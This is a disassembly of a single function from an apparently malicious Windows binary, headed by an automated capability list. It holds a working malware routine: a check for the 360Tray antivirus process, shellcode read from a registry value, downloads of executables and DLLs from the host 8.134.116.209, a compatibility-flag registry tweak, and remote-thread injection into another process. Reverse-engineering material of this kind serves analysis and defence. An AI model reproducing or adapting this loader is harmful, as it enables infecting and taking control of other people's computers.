Function at 0x140005590
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Create thread
Enumerate processes
Find taskbar
Inject thread
Query or enumerate registry value
Read data from internet
Receive data
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x1020]
mov eax, 0x1120
call fcn.14003f2a0
sub rsp, rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor r15d, r15d
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005638
xor edx, edx
lea rcx, [rbp + 0x384]
mov r8d, 0x234
call fcn.140041900
lea rdx, [rbp + 0x380]
mov dword [rbp + 0x380], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000562f
nop word [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x3ac]
call fcn.140072c3c
mov rcx, rbx
test eax, eax
je 0x1400057b2
lea rdx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005600
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1068]
mov dword [rsp + 0x40], 0x61657771
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x44], 0x32336473
lea rdx, [rbp + 0x1060]
mov dword [rsp + 0x48], 0x63787a31
mov rcx, 0xffffffff80000001
mov byte [rsp + 0x4c], r15b
mov dword [rbp + 0x1060], 0x736e6f43
mov dword [rbp + 0x1064], 0x656c6f
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rbp + 0x1068]
lea rax, [rbp + 0x1050]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov dword [rbp + 0x1050], r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1050]
call fcn.14003ec60
mov rcx, qword [rbp + 0x1068]
lea rdx, [rsp + 0x40]
mov rbx, rax
xor r9d, r9d
lea rax, [rbp + 0x1050]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1050]
call fcn.14003ec60
mov r8d, dword [rbp + 0x1050]
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call fcn.140041250
mov rcx, qword [rbp + 0x1068]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov dword [rsp + 0x50], 0x780065
mov dword [rsp + 0x54], 0x6c0070
mov dword [rsp + 0x58], 0x72006f
mov dword [rsp + 0x5c], 0x720065
lea ecx, [rdx + 2]
mov dword [rsp + 0x60], 0x65002e
mov dword [rsp + 0x64], 0x650078
mov word [rsp + 0x68], r15w
mov dword [rbp - 0x80], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140006034
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call fcn.1400729f8
mov rcx, rax
lea rdx, str.Failed_to_create_process_snapshot:__d_n
mov r8d, ebx
call fcn.140003b90
mov edi, r15d
jmp 0x140006081
mov qword [rsp + 0x1118], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.C:UsersPublicDownloadsqq.exe
lea rcx, [rbp + 0x5c0]
call fcn.1400080a0
lea rdx, str.C:UsersPublicDownloadswegame.exe
lea rcx, [rbp + 0x7d0]
call fcn.1400080a0
lea rdx, str.C:UsersPublicDownloads_adapt_for_imports.dll
lea rcx, [rbp + 0x9e0]
call fcn.1400080a0
lea rdx, str.C:UsersPublicDownloadsLua51.dll
lea rcx, [rbp + 0xbf0]
call fcn.1400080a0
lea rdx, str.C:UsersPublicDownloads_beacon_sdk.dll
lea rcx, [rbp + 0xe00]
call fcn.1400080a0
lea rdx, str.C:UsersPublicDownloadscommon.dll
lea rcx, [rbp + 0x380]
call fcn.1400080a0
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005926
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_qq.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x14000591d
lea rdx, [0x1400c4310]
lea rcx, [rbp + 0x5c0]
call fcn.140073804
mov rdi, rax
test rax, rax
je 0x140005914
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000590c
nop word [rax + rax]
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x14000590c
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734f8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400058d0
mov rcx, rdi
call fcn.140072f84
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005a16
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_wegame.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005a0d
lea rdx, [0x1400c4310]
lea rcx, [rbp + 0x7d0]
call fcn.140073804
mov rdi, rax
test rax, rax
je 0x140005a04
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400059fc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x1400059fc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734f8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400059c0
mov rcx, rdi
call fcn.140072f84
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005b06
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_adapt_for_imports.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005afd
lea rdx, [0x1400c4310]
lea rcx, [rbp + 0x9e0]
call fcn.140073804
mov rdi, rax
test rax, rax
je 0x140005af4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005aec
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005aec
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734f8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005ab0
mov rcx, rdi
call fcn.140072f84
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005bf6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_Lua51.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005bed
lea rdx, [0x1400c4310]
lea rcx, [rbp + 0xbf0]
call fcn.140073804
mov rdi, rax
test rax, rax
je 0x140005be4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005bdc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005bdc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734f8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005ba0
mov rcx, rdi
call fcn.140072f84
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005ce6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_beacon_sdk.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005cdd
lea rdx, [0x1400c4310]
lea rcx, [rbp + 0xe00]
call fcn.140073804
mov rdi, rax
test rax, rax
je 0x140005cd4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005ccc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005ccc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734f8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005c90
mov rcx, rdi
call fcn.140072f84
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005dd6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_common.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005dcd
lea rdx, [0x1400c4310]
lea rcx, [rbp + 0x380]
call fcn.140073804
mov rdi, rax
test rax, rax
je 0x140005dc4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005dbc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005dbc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734f8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005d80
mov rcx, rdi
call fcn.140072f84
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x70]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005e3b
mov rcx, qword [rsp + 0x70]
lea rax, str.RunAsInvoker
mov dword [rsp + 0x28], 0x1a
lea rdx, str.C:UsersPublicDownloadswegame.exe
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
lea rdx, str.Hello_World__n
movzx r14d, ax
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
lea rdx, [0x1400c3e7b]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Hello_World__n
mov rdi, rax
call fcn.140007df0
mov ebx, 0x641
mov esi, 0xa
nop word [rax + rax]
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc rbx
sub rsi, 1
jne 0x140005f50
lea rdx, [0x1400c4338]
call fcn.140007df0
lea rdx, str.Hello_World__n
call fcn.140007df0
xor r9d, r9d
lea r8d, [rsi + 5]
mov edx, 0x312
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r14, qword [rsp + 0x1118]
nop word [rax + rax]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005fc0
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x234
call fcn.140041900
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006029
nop dword [rax]
lea rdx, str.wegame.exe
lea rcx, [rbp - 0x54]
call fcn.140072c3c
mov rcx, rbx
test eax, eax
je 0x140005632
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005fc0
lea rdx, [rbp - 0x80]
mov rcx, rbx
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006078
nop dword [rax + rax]
lea rdx, [rbp - 0x54]
lea rcx, [rsp + 0x50]
call fcn.140072c3c
test eax, eax
je 0x140006075
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006050
jmp 0x140006078
mov edi, dword [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rbp + 0x1050]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbp + 0x1050]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x1120
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret